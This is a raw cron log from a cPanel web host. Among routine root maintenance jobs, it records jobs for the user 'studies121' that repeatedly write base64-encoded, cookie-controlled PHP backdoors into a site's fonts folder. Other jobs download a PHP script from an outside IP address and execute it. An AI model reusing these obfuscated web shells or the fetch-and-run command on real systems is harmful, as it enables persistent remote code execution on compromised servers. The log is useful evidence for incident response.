Sep 13 01:28:01 ip-184-168-122-23 CROND[24418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:28:01 ip-184-168-122-23 CROND[24421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:28:01 ip-184-168-122-23 CROND[24420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:29:01 ip-184-168-122-23 CROND[24525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:29:01 ip-184-168-122-23 CROND[24527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:29:01 ip-184-168-122-23 CROND[24528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:29:01 ip-184-168-122-23 CROND[24530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24629]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:30:01 ip-184-168-122-23 CROND[24634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:30:01 ip-184-168-122-23 CROND[24637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:31:01 ip-184-168-122-23 CROND[24846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:31:01 ip-184-168-122-23 CROND[24847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:31:01 ip-184-168-122-23 CROND[24852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:31:01 ip-184-168-122-23 CROND[24850]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:31:01 ip-184-168-122-23 CROND[24851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:32:01 ip-184-168-122-23 CROND[24947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:32:01 ip-184-168-122-23 CROND[24949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:32:01 ip-184-168-122-23 CROND[24950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:32:01 ip-184-168-122-23 CROND[24951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:32:01 ip-184-168-122-23 CROND[24952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:33:01 ip-184-168-122-23 CROND[25041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:33:01 ip-184-168-122-23 CROND[25044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:33:01 ip-184-168-122-23 CROND[25043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:33:01 ip-184-168-122-23 CROND[25042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:34:01 ip-184-168-122-23 CROND[25125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:34:01 ip-184-168-122-23 CROND[25127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:34:01 ip-184-168-122-23 CROND[25128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:34:01 ip-184-168-122-23 CROND[25129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:34:01 ip-184-168-122-23 CROND[25130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25227]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:35:01 ip-184-168-122-23 CROND[25235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:35:01 ip-184-168-122-23 CROND[25237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:36:01 ip-184-168-122-23 CROND[25442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:36:01 ip-184-168-122-23 CROND[25444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:36:01 ip-184-168-122-23 CROND[25447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:36:01 ip-184-168-122-23 CROND[25446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:36:01 ip-184-168-122-23 CROND[25448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:37:01 ip-184-168-122-23 CROND[25559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:37:01 ip-184-168-122-23 CROND[25561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:37:01 ip-184-168-122-23 CROND[25562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:37:01 ip-184-168-122-23 CROND[25563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:38:01 ip-184-168-122-23 CROND[25638]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 01:38:01 ip-184-168-122-23 CROND[25640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:38:01 ip-184-168-122-23 CROND[25642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:38:01 ip-184-168-122-23 CROND[25646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:38:01 ip-184-168-122-23 CROND[25645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:39:01 ip-184-168-122-23 CROND[25738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 01:39:01 ip-184-168-122-23 CROND[25740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:39:01 ip-184-168-122-23 CROND[25742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 01:39:01 ip-184-168-122-23 CROND[25741]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 01:39:01 ip-184-168-122-23 CROND[25743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:40:01 ip-184-168-122-23 CROND[25841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:40:01 ip-184-168-122-23 CROND[25843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
